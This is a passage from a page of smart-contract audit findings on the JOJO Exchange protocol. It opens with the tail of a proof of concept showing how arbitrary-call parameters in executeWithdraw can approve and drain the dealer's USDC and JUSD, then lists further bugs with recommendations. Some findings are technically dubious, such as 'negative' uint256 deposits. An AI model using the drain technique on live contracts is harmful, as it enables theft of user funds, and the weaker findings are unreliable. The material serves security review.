usdc.balanceOf(address(jojoDealer)); //This will be 0 since the hacker holds now all the tokens
}
To elaborate on the provided POC, in the first part, we simulate a real environment by connecting with various traders' accounts for some deposits. However, upon connecting as a hacker account, it becomes apparent that the supplied parameters are not accurate. The executeWithdraw() function invoked by the hacker ultimately translates to (bool success,) = to.call(param) check this lines in Funding.sol, both to and param are specified by the user.
The malicious executeWithdraw() proceeds to call the approve() function in both JUSD and USDC with maxUint256, designating the hacker as the spender and the owner will be jojoDealer contract . Subsequently, the attacker can exploit this approval to transfer all tokens to their own address.
Impact
All users fund that were originally deposited will be drained. The exact same issue happened to a project called SocketDotTech see this link.
Code Snippet
Tool used
Manual Review
Recommendation
I strongly recommend adopting the same design approach as the FlashLoanLiquidate contract. Specifically, ensure that only contracts whitelisted in whiteListContract can be deemed trustworthy, and do not extend trust to any arbitrary address.
Duplicate of #7
bughuntoor - Project may be unable to be deployed on Arbitrum due to incompatibility with Shanghai hardfork
bughuntoor
medium
Project may be unable to be deployed on Arbitrum due to incompatibility with Shanghai hardfork
Summary
Project might be unusable upon deployment due to not supporting PUSH0 OPCODE
Vulnerability Detail
The project uses unsafe pragma (^0.8.20) which by default uses PUSH0 OPCODE. However, Arbitrum currently does not support it.
This means that the produced bytecode for the different contracts won't be compatible with Arbitrum as it does not yet support the Shanghai hard fork.
Impact
Unusable contracts, will need redeploy
Code Snippet
Tool used
Manual Review
Recommendation
change pragma to 0.8.19 or change the EVM version
bughuntoor - `degenSubAccount` uses wrong formula for `getMaxWithdrawAmount`
bughuntoor
medium
degenSubAccount
uses wrong formula for getMaxWithdrawAmount
Summary
degenSubAccount
uses wrong formula for getMaxWithdrawAmount
Vulnerability Detail
Let's look at the getMaxWithdrawAmount
formula in degenSubAccount
function getMaxWithdrawAmount(address trader) public view returns (uint256, uint256) {
(int256 primaryCredit,, uint256 pendingPrimaryWithdraw,,) = IDealer(dealer).getCreditOf(address(this));
uint256 positionMargin;
int256 positionNetValue;
address[] memory positions = IDealer(dealer).getPositions(trader);
for (uint256 i = 0; i < positions.length;) {
(int256 paperAmount, int256 creditAmount) = IPerpetual(positions[i]).balanceOf(trader);
Types.RiskParams memory params = IDealer(dealer).getRiskParams(positions[i]);
int256 price = SafeCast.toInt256(IPriceSource(params.markPriceSource).getMarkPrice());
positionMargin += (paperAmount.decimalMul(price).abs() * 1e16) / 1e18;
positionNetValue += paperAmount.decimalMul(price) + creditAmount;
unchecked {
++i;
}
}
When we look at it, it's different from the function used in Liquidation.sol
(looking at initialMargin)
function getTotalExposure(
Types.State storage state,
address trader
)
public
view
returns (int256 netValue, uint256 exposure, uint256 initialMargin, uint256 maintenanceMargin)
{
int256 netPositionValue;
// sum net value and exposure among all markets
for (uint256 i = 0; i < state.openPositions[trader].length;) {
(int256 paperAmount, int256 creditAmount) = IPerpetual(state.openPositions[trader][i]).balanceOf(trader);
Types.RiskParams storage params = state.perpRiskParams[state.openPositions[trader][i]];
int256 price = SafeCast.toInt256(IPriceSource(params.markPriceSource).getMarkPrice());
netPositionValue += paperAmount.decimalMul(price) + creditAmount;
uint256 exposureIncrement = paperAmount.decimalMul(price).abs();
exposure += exposureIncrement;
maintenanceMargin += (exposureIncrement * params.liquidationThreshold) / Types.ONE;
initialMargin += (exposureIncrement * params.initialMarginRatio) / Types.ONE;
unchecked {
++i;
}
}
netValue = netPositionValue + state.primaryCredit[trader] + SafeCast.toInt256(state.secondaryCredit[trader]);
}
This would cause the value in getMaxWithdrawAmount
to be completely off. Anything that depends on it will not work.
It will also cause the require
in requestWithdrawPrimaryAsset
executeWithdrawPrimaryAsset
and fastWithdrawPrimaryAsset
to not work properly.
Impact
Wrong values returned, anything that depends on it will not work as well, including the require checks within the contract.
Code Snippet
Tool used
Manual Review
Recommendation
use the formula from Liquidation.sol
PoC
function testDegenSubaccountOpenPosition() public {
vm.startPrank(traders[0]);
jojoDealer.deposit(0, 1000e6, traders[0]);
vm.stopPrank();
vm.startPrank(traders[1]);
jojoDealer.deposit(0, 10_000e6, traders[1]);
vm.stopPrank();
vm.startPrank(traders[2]);
jojoDealer.deposit(0, 1000e6, traders[2]);
vm.stopPrank();
DegenSubaccountFactory degenFac = new DegenSubaccountFactory(address(jojoDealer), address(this));
(Types.Order memory basedorder, bytes memory basedSig) =
buildOrder(traders[0], tradersKey[0], 1e18, -30_000e6, address(perpList[0]), 0);
vm.startPrank(traders[1]);
usdc.approve(address(jojoDealer), 1000e6);
address degenAccount = degenFac.newSubaccount();
jojoDealer.deposit(1000e6, 0, degenAccount);
(Types.Order memory order, bytes memory orderSig) =
buildOrder(degenAccount, tradersKey[1], -1e18, 30_000e6, address(perpList[0]), 0);
Types.Order[] memory orderList = new Types.Order[](2);
orderList[0] = basedorder;
orderList[1] = order;
bytes[] memory signatureList = new bytes[](2);
signatureList[0] = basedSig;
signatureList[1] = orderSig;
uint256[] memory matchPaperAmount = new uint256[](2);
matchPaperAmount[0] = 1e18;
matchPaperAmount[1] = 1e18;
vm.stopPrank();
Perpetual(perpList[0]).trade(abi.encode(orderList, signatureList, matchPaperAmount));
// revert for netValue less than 0
(uint256 maxWithdraw, uint256 pendingPrimary) = DegenSubaccount(degenAccount).getMaxWithdrawAmount(degenAccount);
console.log(maxWithdraw);
vm.startPrank(traders[1]);
DegenSubaccount(degenAccount).requestWithdrawPrimaryAsset(maxWithdraw);
cheats.expectRevert("JOJO_ACCOUNT_NOT_SAFE");
DegenSubaccount(degenAccount).executeWithdrawPrimaryAsset(traders[1], true);
}
0xC - Unhandled return values of `transfer` and `transferFrom` functions
0xC
medium
Unhandled return values of transfer
and transferFrom
functions
Summary
The behavior of ERC20 implementations can sometimes be unpredictable. In some instances, the transfer
and transferFrom
functions may return 'false' to signal a failure instead of following the standard protocol of reverting. To enhance safety and reliability, it is recommended to encapsulate these calls within require()
statements to properly handle any potential failures.
Vulnerability Detail
The vulnerability in the ERC20 implementation relates to the unsafe usage of transfer
and transferFrom
functions in the smart contract code.
Impact
This vulnerability can lead to unpredictable behavior and may result in funds being lost or transactions not executing as expected. In some cases, these functions may return 'false' to signal a failure instead of reverting as per the standard ERC20 protocol. This non-standard behavior can have adverse consequences for users and the contract itself.
Code Snippet
Unsafe transfer
and transferFrom
calls have been identified in specific locations, warranting extra caution. Here is where I found it:
Tool used
Manual Review
Recommendation
Check the return value and revert on 0
/false
or use OpenZeppelinโs SafeERC20
wrapper functions.
Ignite - safeApprove() function may reverts for changing existing approvals
Ignite
medium
safeApprove() function may reverts for changing existing approvals
Summary
SafeERC20.safeApprove reverts if there is an attempt to change a non-zero approval to another non-zero approval. In the FundingRateArbitrage._swap()
function, such an attempt may occur, resulting in a revert.
Vulnerability Detail
The safeApprove()
function has explicit warning:
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
At line 207, the FundingRateArbitrage
contract uses thesafeApprove()
function to change the approval amount.
function _swap(bytes memory param, bool isBuyingEth) private returns (uint256 receivedAmount) {
address fromToken;
address toToken;
if (isBuyingEth) {
fromToken = usdc;
toToken = collateral;
} else {
fromToken = collateral;
toToken = usdc;
}
uint256 toTokenReserve = IERC20(toToken).balanceOf(address(this));
(address approveTarget, address swapTarget, uint256 payAmount, bytes memory callData) =
abi.decode(param, (address, address, uint256, bytes));
IERC20(fromToken).safeApprove(approveTarget, payAmount);
(bool isSuccess,) = swapTarget.call(callData);
if (!isSuccess) {
assembly {
let ptr := mload(0x40)
let size := returndatasize()
returndatacopy(ptr, 0, size)
revert(ptr, size)
}
}
receivedAmount = IERC20(toToken).balanceOf(address(this)) - toTokenReserve;
emit Swap(fromToken, toToken, payAmount, receivedAmount);
}
With the external contract intregated, there might be remaining allowance to the target contract. As a result, the owner might unable to call swapBuyEth()
or swapSellEth()
functions.
Impact
The contract owner might be unable to swap USDC for collateral tokens and deposit them to the collateral system or withdraw collateral tokens to the pool and swap them back to USDC.
Code Snippet
Tool used
Manual Review
Recommendation
Resetting the allowance to zero before calling safeApprove()
function.
dany.armstrong90 - Funding.sol#requestWithdraw function has an error.
dany.armstrong90
high
Funding.sol#requestWithdraw function has an error.
Summary
Funding.sol#requestWithdraw
function set pending withdrawal flag for msg.sender
instead of from
.
Since the purpose of the function is to withdraw tokens from user from
, this causes unexpected errors.
Vulnerability Detail
Funding.sol#requestWithdraw
and executeWithdraw
functions are the following.
function requestWithdraw(
Types.State storage state,
address from,
uint256 primaryAmount,
uint256 secondaryAmount
)
external
{
require(isWithdrawValid(state, msg.sender, from, primaryAmount, secondaryAmount), Errors.WITHDRAW_INVALID);
78: state.pendingPrimaryWithdraw[msg.sender] = primaryAmount;
79: state.pendingSecondaryWithdraw[msg.sender] = secondaryAmount;
80: state.withdrawExecutionTimestamp[msg.sender] = block.timestamp + state.withdrawTimeLock;
emit RequestWithdraw(msg.sender, primaryAmount, secondaryAmount, state.withdrawExecutionTimestamp[msg.sender]);
}
function executeWithdraw(
Types.State storage state,
address from,
address to,
bool isInternal,
bytes memory param
)
external
{
93: require(state.withdrawExecutionTimestamp[from] <= block.timestamp, Errors.WITHDRAW_PENDING);
94: uint256 primaryAmount = state.pendingPrimaryWithdraw[from];
95: uint256 secondaryAmount = state.pendingSecondaryWithdraw[from];
require(isWithdrawValid(state, msg.sender, from, primaryAmount, secondaryAmount), Errors.WITHDRAW_INVALID);
state.pendingPrimaryWithdraw[from] = 0;
state.pendingSecondaryWithdraw[from] = 0;
// No need to change withdrawExecutionTimestamp, because we set pending
// withdraw amount to 0.
_withdraw(state, msg.sender, from, to, primaryAmount, secondaryAmount, isInternal, param);
}
L78-80
of requestWithdraw
function registers the amount of tokens to withdraw and the timestamp for the address msg.sender
.
But L93-95
of executeWithdraw
function get the amount of tokens and timestamp which are registered to address from
.
In all of two functions, from
is the user to withdraw tokens from and msg.sender
is the operator (spender) of withdrawal.
Thus in the case that from
and msg.sender
differs, the regular pending withdrawal is impossible and also the irregular pending withdrawal may arise.
Example of regular pending withdrawal:
- Suppose that
operator1
tries to withdraw tokens fromuser1
. operator1
callsrequestWithdraw
function with parameterfrom=user1
.- In the
requestWithdraw
function, it will bemsg.sender=operator1
.
Thus the values ofpendingPrimaryWithdraw[operator1]
,pendingSecondaryWithdraw[operator1]
andwithdrawExecutionTimestamp[operator1]
are set. - After
withdrawTimeLock
seconds elapsed, theoperator1
callsexecuteWithdraw
function withfrom=user1
. - Since
withdrawExecutionTimestamp[user1]=0
inL93
,executeWithdraw
function will be reverted.
Example of irregular pending withdrawal:
- Suppose that
user2
is the operator ofuser1
andoperator1
is the one ofuser2
. user2
callsrequestWindow
function withfrom=user1
.- In
requestWithdraw
function, the values ofpendingPrimaryWithdraw[user2]
,pendingSecondaryWithdraw[user2]
andwithdrawExecutionTimestamp[user2]
are set. - After
withdrawTimeLock
seconds elapsed,operator1
callsexecuteWithdraw
function withfrom=user2
. - Even though
operator1
never calledrequestWithdraw
function withfrom=user2
, but inL93-94
primaryAmount > 0
andsecondaryAmount > 0
holds true andexecuteWithdraw
function will succeed.
Impact
The regular pending withdrawal from user by operator (!=user) will be impossible and the irregular pending withdrawal may arise.
Code Snippet
Tool used
Manual Review
Recommendation
Modify Funding.sol#requestWithdraw
function as follows.
function requestWithdraw(
Types.State storage state,
address from,
uint256 primaryAmount,
uint256 secondaryAmount
)
external
{
require(isWithdrawValid(state, msg.sender, from, primaryAmount, secondaryAmount), Errors.WITHDRAW_INVALID);
-- state.pendingPrimaryWithdraw[msg.sender] = primaryAmount;
-- state.pendingSecondaryWithdraw[msg.sender] = secondaryAmount;
-- state.withdrawExecutionTimestamp[msg.sender] = block.timestamp + state.withdrawTimeLock;
-- emit RequestWithdraw(msg.sender, primaryAmount, secondaryAmount, state.withdrawExecutionTimestamp[msg.sender]);
++ state.pendingPrimaryWithdraw[from] = primaryAmount;
++ state.pendingSecondaryWithdraw[from] = secondaryAmount;
++ state.withdrawExecutionTimestamp[from] = block.timestamp + state.withdrawTimeLock;
++ emit RequestWithdraw(from, primaryAmount, secondaryAmount, state.withdrawExecutionTimestamp[from]);
}
Duplicate of #53
bughuntoor - `requestWithdraw` logic is flawed and may cause a user to simply burn their money
bughuntoor
high
requestWithdraw
logic is flawed and may cause a user to simply burn their money
Summary
requestWithdraw
logic is flawed and may cause a user to simply burn their money
Vulnerability Detail
Let's look at the code in requestWithdraw
function requestWithdraw(uint256 repayJUSDAmount) external returns (uint256 withdrawEarnUSDCAmount) {
IERC20(jusd).safeTransferFrom(msg.sender, address(this), repayJUSDAmount);
require(repayJUSDAmount <= jusdOutside[msg.sender], "Request Withdraw too big");
jusdOutside[msg.sender] -= repayJUSDAmount;
uint256 index = getIndex();
uint256 lockedEarnUSDCAmount = jusdOutside[msg.sender].decimalDiv(index);
require(
earnUSDCBalance[msg.sender] >= lockedEarnUSDCAmount, "lockedEarnUSDCAmount is bigger than earnUSDCBalance"
);
withdrawEarnUSDCAmount = earnUSDCBalance[msg.sender] - lockedEarnUSDCAmount;
withdrawalRequests.push(WithdrawalRequest(withdrawEarnUSDCAmount, msg.sender, false));
require(
withdrawEarnUSDCAmount.decimalMul(index) >= withdrawSettleFee, "Withdraw amount is smaller than settleFee"
);
earnUSDCBalance[msg.sender] = lockedEarnUSDCAmount;
uint256 withdrawIndex = withdrawalRequests.length - 1;
emit RequestWithdrawFromHedging(msg.sender, repayJUSDAmount, withdrawEarnUSDCAmount, withdrawIndex);
return withdrawIndex;
}
The way it calculates withdraw amount is completely flawed and needs major refactoring.
To simply give an example:
- A user deposits 1000 USDC at
index == 1e18
- Index drops to 0.5e18 (e.g. due to borrow liquidation or bad perp trade)
- User now wants to claim 500 of their JUSD within the contract, so they invoke
requestWithdraw(500)
. - If we look at the workflow ->
jusdOutside[msg.sender] - repayJusdAmount = 500
.
lockedEarnUSDCAmount = 500 / 0.5 = 1000
WithdrawEarnUSDCAmount = 1000 - 1000 = 0
(we'll considerwithdrawSettleFee
to be 0 for simplicity. even if it is not, issue is still valid)
EarnUSDCBalance = 500
The user just gave 500 JUSD to the contract and burned 500 earnUSDCBalance
and created a 0-value withdraw request.
Impact
Loss of funds
Code Snippet
Tool used
Manual Review
Recommendation
Fix is non-trivial, function will need to be rewritten.
bareli - check the return value of function
bareli
medium
check the return value of function
Summary
The contract assumes success when calling approve and repay on the ERC20.sol and jusdBank contracts, respectively. It does not check the return value of these function calls, which could lead to unexpected behavior if they fail.
Vulnerability Detail
@>> IJUSDBank(jusdBank).repay(liquidateData.actualLiquidated, to);
function repay(uint256 amount, address to) external override nonReentrant returns (uint256) {
Types.UserInfo storage user = userInfo[to];
accrueRate();
@>> return _repay(user, msg.sender, to, amount, tRate);
}
function _repay(
Types.UserInfo storage user,
address payer,
address to,
uint256 amount,
uint256 tRate
)
internal
@>> returns (uint256)
{
Impact
t does not check the return value of these function calls, which could lead to unexpected behavior if they fail.
Code Snippet
Tool used
Manual Review
Recommendation
check the return value of these function calls.
Duplicate of #85
T1MOH - JOJOOracleAdaptorWstETH.sol misses function `getMarkPrice()`
T1MOH
medium
JOJOOracleAdaptorWstETH.sol misses function getMarkPrice()
Summary
JOJOOracleAdaptorWstETH.sol doesn't fully implement IPriceSource.sol. It misses function getMarkPrice()
Vulnerability Detail
Code blocks which call function getMarkPrice()
on Oracle contract will revert. The most significant is following:
Trader can't open trade in WstEth perp.
Here is function order:
Perpetual.trade()
JOJOView.isAllSafe()
Liquidation._isAllMMSafe()
Liquidation._isMMSafe()
Liquidation.getTotalExposure()
IPriceSource.getMarkPrice()
Here you can see that function getMarkPrice() is called on perpetual oracle. For WstEth perpetual, oracle JOJOOracleAdaptorWstETH.sol is supposed to be used
function getTotalExposure(
Types.State storage state,
address trader
)
public
view
returns (int256 netValue, uint256 exposure, uint256 initialMargin, uint256 maintenanceMargin)
{
int256 netPositionValue;
// sum net value and exposure among all markets
for (uint256 i = 0; i < state.openPositions[trader].length;) {
(int256 paperAmount, int256 creditAmount) = IPerpetual(state.openPositions[trader][i]).balanceOf(trader);
Types.RiskParams storage params = state.perpRiskParams[state.openPositions[trader][i]];
@> int256 price = SafeCast.toInt256(IPriceSource(params.markPriceSource).getMarkPrice());
netPositionValue += paperAmount.decimalMul(price) + creditAmount;
uint256 exposureIncrement = paperAmount.decimalMul(price).abs();
exposure += exposureIncrement;
maintenanceMargin += (exposureIncrement * params.liquidationThreshold) / Types.ONE;
initialMargin += (exposureIncrement * params.initialMarginRatio) / Types.ONE;
unchecked {
++i;
}
}
netValue = netPositionValue + state.primaryCredit[trader] + SafeCast.toInt256(state.secondaryCredit[trader]);
}
Also different functions like FundingRateUpdateLimiter.getMaxChange()
, Liquidation.requestLiquidation()
revert too because try to call getMarkPrice()
on oracle
Note there is no function getMarkPrice()
:
https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/ed4a8483da11bcc04ced10de899038bcead087b3/smart-contract-EVM/src/oracle/OracleAdaptorWstETH.sol#L13
Impact
WstEth Perpetual can't be used.
Code Snippet
Tool used
Manual Review
Recommendation
Add missing function
rvierdiiev - withdrawSettleFee increase can make some withdrawals to be stuck
rvierdiiev
medium
withdrawSettleFee increase can make some withdrawals to be stuck
Summary
In case withdrawSettleFee
will increase then it can make some withdrawals to be stuck, because of the check in the permitWithdrawRequests
function.
Vulnerability Detail
When user flags withdraw, then there is a check, that amount to be withdrawn is bigger than withdrawSettleFee
. Same check exists, when owner executes withdraw.
In case if withdrawSettleFee
will be increased to the value that is bigger than already pending withdraw, then owner will not be able to settle such withdraw and those amount of funds that belongs to withdrawer and is now less than withdrawSettleFee
will stuck.
Impact
Some deposits may stuck after withdrawSettleFee
increase.
Code Snippet
Provided above
Tool used
Manual Review
Recommendation
Provide ability for user to cancel withdraw in some cases.
rudolph - Users can liquidate themselves
rudolph
high
Users can liquidate themselves
Summary
Typically, in lending platforms or futures exchanges, some restrictions prevent users from liquidating themselves. That is the liquidator should be different from the borrower. Because liquidation often comes with a liquidation incentive, and in terms of reasonableness and fairness this shouldn't be given to the liquidated person.
More importantly, in the logic of some protocols, if the liquidator and the borrower are the same in liquidation, there is a risk of data overwriting, leading to unforeseen consequences. For example, the borrower can redeem the collateral without repayment.
Vulnerability Detail
The liquidate()
function currently lacks restrictions preventing a trader from liquidating themselves. To address this issue, the code logic needs to be revised. This can create an unfair advantage for the trader, which is not in the best interest of other participants.
making it impossible to track your actual position and determine your safe status. As a result, L149 can be passed, allowing you to avoid liquidation.
- The hacker participates in one perpetual. If the hacker wins money, it is fine.
- When the hacker loses and meets the liquidation, he can liquidate himself and get his margin back without any payment.
- Therefore hackers can keep making money by constantly moving positions and never lose money.
Impact
Code Snippet
_settle(liquidatedTrader, liqedPaperChange, liqedCreditChange);
_settle(liquidator, liqtorPaperChange, liqtorCreditChange);
require(IDealer(owner()).isSafe(liquidator), "LIQUIDATOR_NOT_SAFE");
function _settle(address trader, int256 paperChange, int256 creditChange) internal {
bool isNewPosition = balanceMap[trader].paper == 0;
int256 rate = fundingRate; // gas saving
int256 credit =
int256(balanceMap[trader].paper).decimalMul(rate) + int256(balanceMap[trader].reducedCredit) + creditChange;
int128 newPaper = balanceMap[trader].paper + SafeCast.toInt128(paperChange);
int128 newReducedCredit = SafeCast.toInt128(credit - int256(newPaper).decimalMul(rate));
balanceMap[trader].paper = newPaper;
balanceMap[trader].reducedCredit = newReducedCredit;
emit BalanceChange(trader, paperChange, creditChange);
if (isNewPosition) {
IDealer(owner()).openPosition(trader);
}
if (newPaper == 0) {
// realize PNL
IDealer(owner()).realizePnl(trader, balanceMap[trader].reducedCredit);
balanceMap[trader].reducedCredit = 0;
}
}
Tool used
Manual Review
Recommendation
We suggest adding a restriction that prohibits self-liquidation.
bareli - Gas Limitations
bareli
medium
Gas Limitations
Summary
Gas Limitations: The updateFundingRate function could potentially run out of gas if the arrays provided are too long, as it loops through all elements without any gas checks.
Vulnerability Detail
function updateFundingRate(address[] calldata perpList, int256[] calldata rateList) external onlyOwner {
for (uint256 i = 0; i < perpList.length;) {
address perp = perpList[i];
int256 oldRate = IPerpetual(perp).getFundingRate();
uint256 maxChange = getMaxChange(perp);
require((rateList[i] - oldRate).abs() <= maxChange, "FUNDING_RATE_CHANGE_TOO_MUCH");
fundingRateUpdateTimestamp[perp] = block.timestamp;
unchecked {
++i;
}
}
IDealer(dealer).updateFundingRate(perpList, rateList);
}
Impact
Code Snippet
Tool used
Manual Review
Recommendation
limit on array length
Homebrew - Potential block timestamp manipulation vulnerability
Homebrew
medium
Potential block timestamp manipulation vulnerability
Summary
Block Timestamp Manipulation
Vulnerability Detail
The contract uses block.timestamp to validate Chainlink oracle freshness. Miners could manipulate this timestamp.
Impact
Attacker can make stale oracle prices seem valid, resulting in incorrect pricing.
Code Snippet
require(block.timestamp - updatedAt <= heartbeatInterval, "ORACLE_HEARTBEAT_FAILED");
Tool used
Manual Review
Recommendation
Only impacts pricing, not critical contract assets. Other price validations also in place. Difficult for miner to consistently manipulate timestamp.
Use block.number instead of timestamp to validate freshness.
The vulnerability allows some manipulation of price calculations. But other factors limit the impact, so it is be a lower severity issue.
0xC - Lack of validation for negative values in the `deposit` function within the `FundingRateArbitrage` contract
0xC
high
Lack of validation for negative values in the deposit
function within the FundingRateArbitrage
contract
Summary
The deposit
function within the FundingRateArbitrage
smart contract lacks validation to prevent negative amount
values from being accepted as deposits. This oversight could potentially allow malicious actors to exploit the contract by providing negative values for amount
.
Vulnerability Detail
In the deposit
function, the contract uses the following line of code to check if the amount
is non-zero:
require(amount != 0, "deposit amount is zero");
However, this code neglects to verify whether the amount
is negative, which means that it does not prevent negative values from being used as deposits. As a result, a malicious user could submit a negative amount
, and the existing require
statement would not detect this, potentially leading to unintended and harmful outcomes.
Impact
The absence of validation for negative amount
values in the deposit
function could have severe consequences, including but not limited to:
- Unauthorized withdrawal or manipulation of funds.
- Distorted account balances.
- Loss of user assets.
- Exploitation of contract vulnerabilities.
Code Snippet
function deposit(uint256 amount) external {
require(amount != 0, "deposit amount is zero"); // Potential vulnerability
// Rest of the function logic...
}
Tool used
Manual Review
Recommendation
To mitigate this vulnerability, it is strongly advised to enhance the deposit
function by explicitly verifying that the amount
is both positive and non-zero. You can achieve this by modifying the function as follows:
function deposit(uint256 amount) external {
require(amount > 0, "deposit amount must be positive"); // Updated validation
// Rest of the function logic...
}
By including the amount > 0
check, you ensure that only positive and non-zero values are accepted as valid deposits, thereby reducing the risk of unintended behavior or exploitation of the contract.
vvv - Funds could be stolen from DepositStableCoinToDealer, FlashLoanLiquidate, FlashLoanRepay, GeneralRepay contracts by passing crafted ERC20 asset
vvv
high
Funds could be stolen from DepositStableCoinToDealer, FlashLoanLiquidate, FlashLoanRepay, GeneralRepay contracts by passing crafted ERC20 asset
Summary
Funds could be stolen from DepositStableCoinToDealer, FlashLoanLiquidate, FlashLoanRepay, GeneralRepay contracts by passing crafted ERC20 asset
in depositStableCoin, JOJOFlashLoan, JOJOFlashLoan, repayJUSD methods. These methods doesn't check for asset
and transfer funds to arbitrary address to
.
Vulnerability Detail
Funds could be stolen from DepositStableCoinToDealer, FlashLoanLiquidate, FlashLoanRepay, GeneralRepay contracts by passing crafted ERC20 asset
in depositStableCoin, JOJOFlashLoan, JOJOFlashLoan, repayJUSD methods.
These methods doesn't have any checks for asset
, which could be specifially crafred to pass all the other checks. Any calls to passed address (as IERC20(asset).<method>
) could be easilly manipulated, call to swapTarget.call(data)
could be mainpulated too, considering the data
variable is arbitary and also isn't checked. The project code and documentation doesn't really specify what kind of approveTarget
and swapTarget
could be whitelisted. Considering the data
being passed to those addreses is arbitrary, it's higly possible these calls can be manipulated and attacked too.
All these methods are external and transfer funds to specified to
address at the end, which is also arbitrary. Passing all the specified above checks, it allows to steal all the funds from contract.
Impact
Funds from specified contracts could be stolen.
Code Snippet
Tool used
Manual Review
Recommendation
Check passed asset
, param
and to
params by whitelist or more sophisticated mechnism.
Duplicate of #7
Recommend Projects
-
React
A declarative, efficient, and flexible JavaScript library for building user interfaces.
-
Vue.js
๐ Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
-
Typescript
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
-
TensorFlow
An Open Source Machine Learning Framework for Everyone
-
Django
The Web framework for perfectionists with deadlines.
-
Laravel
A PHP framework for web artisans
-
D3
Bring data to life with SVG, Canvas and HTML. ๐๐๐
-
Recommend Topics
-
javascript
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
-
web
Some thing interesting about web. New door for the world.
-
server
A server is a program made to process requests and deliver data to clients.
-
Machine learning
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
-
Visualization
Some thing interesting about visualization, use data art
-
Game
Some thing interesting about game, make everyone happy.
Recommend Org
-
Facebook
We are working to build community through open source technology. NB: members must have two-factor auth.
-
Microsoft
Open source projects and samples from Microsoft.
-
Google
Google โค๏ธ Open Source for everyone.
-
Alibaba
Alibaba Open Source for everyone
-
D3
Data-Driven Documents codes.
-
Tencent
China tencent open source team.